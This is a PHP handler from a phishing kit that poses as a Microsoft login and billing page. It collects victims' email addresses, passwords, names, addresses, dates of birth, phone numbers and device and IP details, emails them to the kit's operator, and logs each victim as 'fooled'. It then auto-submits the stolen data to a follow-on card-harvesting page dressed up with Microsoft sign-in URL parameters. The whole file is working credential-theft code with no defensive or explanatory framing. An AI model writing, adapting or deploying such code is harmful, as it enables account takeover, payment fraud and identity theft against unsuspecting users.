<?php
include '../admin/config.php';
include '../main.php';
if($_POST['apistatus'] == '1'){
    $apistatus = "AMAN";
}else{
    $apistatus = "UNKNOWN";
}
$ip = getUserIP();
$randomnumber = rand(1, 100);
if(!isset($_POST['email'])) {
exit(header("HTTP/1.0 404 Not Found")); 
}else{
$namebule = $_POST['fname'];
$subject = "BILLING INFO [ ".$namebule." ] - [$cn - $ip]";
$fromsend = "FROM: ".$_POST['fname']." <admin@SAKAW420.ptz>";
$message = '
<p>
<b>======================[ LOGIN DETAILS ]======================</b><br>
Email : '.$_POST['email'].'<br>
Password : '.$_POST['password'].'<br>
<b>======================[ API STATUS ]======================</b><br>
API STATUS : '.$apistatus.'<br>
<b>======================[ BILLING INFORMATION ]======================</b><br>
Full name : '.$_POST['fname'].'<br>
Street address : '.$_POST['address'].'<br>
State : '.$_POST['city'].'<br>
City : '.$_POST['state'].'<br>
ZIP : '.$_POST['zip'].'<br>
Date of birth : '.$_POST['dob'].'<br>
Phone number : '.$_POST['phone'].'<br>
<b>======================[ DEVICE INFO ]======================</b><br>
Country : '.$cn.'<br>
Region : '.$regioncity.'<br>
City : '.$citykota.'<br>
Continent : '.$continent.'<br>
Curs : '.$kurenci.'<br>
OS / BR : '.$os.' / '.$br.'<br>
User Agent : '.$user_agent.'<br>
Timezone : '.$timezone.'<br>
ISP : '.$ispuser.'<br>
IP : '.$ip.'<br>
ZIP : '.$zip.'<br>
Date : '.$date.'<br>
<b>======================[ SAKAW420 - MICROSOFT ]======================</b>
</p>
';
if ($config['send_login'] == "email") {
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= ''.$fromsend.'' . "\r\n";
$kirim = mail($result_anying, $subject, $message, $headers);
tulis_file("../admin/result/total_cc.txt", $ip);
tulis_file("../admin/result/total_billing.txt", "".$namebule."|".$_POST['email']."|".$cn."|".$ip."|".$ispuser."");
tulis_file("../admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Done! Target Telah Tertipu|".$date."");
}else{
include'server.php';
tulis_file("../admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Done! Target Telah Tertipu|".$date."");
tulis_file("../admin/result/total_billing.txt", "".$namebule."|".$_POST['email']."|".$cn."|".$ip."|".$ispuser."");
}
if($config['get_cc'] == "on") {
echo "<form id='ptz' method='POST' action='../card?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&mkt=EN-US&contextid=1EE93C44426274D9&bk=1619825426&uaid=876a74678f9446408bf0adc75cc213b7&pid=0'>
<input type='hidden' name='email' value='".$_POST['email']."'>
<input type='hidden' name='password' value='".$_POST['password']."'>
<input type='hidden' name='fname' value='".$_POST['fname']."'>
<input type='hidden' name='address' value='".$_POST['address']."'>
<input type='hidden' name='city' value='".$_POST['city']."'>
<input type='hidden' name='state' value='".$_POST['state']."'>
<input type='hidden' name='zip' value='".$_POST['zip']."'>
<input type='hidden' name='dob' value='".$_POST['dob']."'>
<input type='hidden' name='phone' value='".$_POST['phone']."'>
<input type='hidden' name='apistatus' value='".$apistatus."'>
</form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}else{
echo "<form id='ptz' method='POST' action='../done?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'>
<input type='hidden' name='email' value='".$_POST['email']."'>
</form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}
}
?>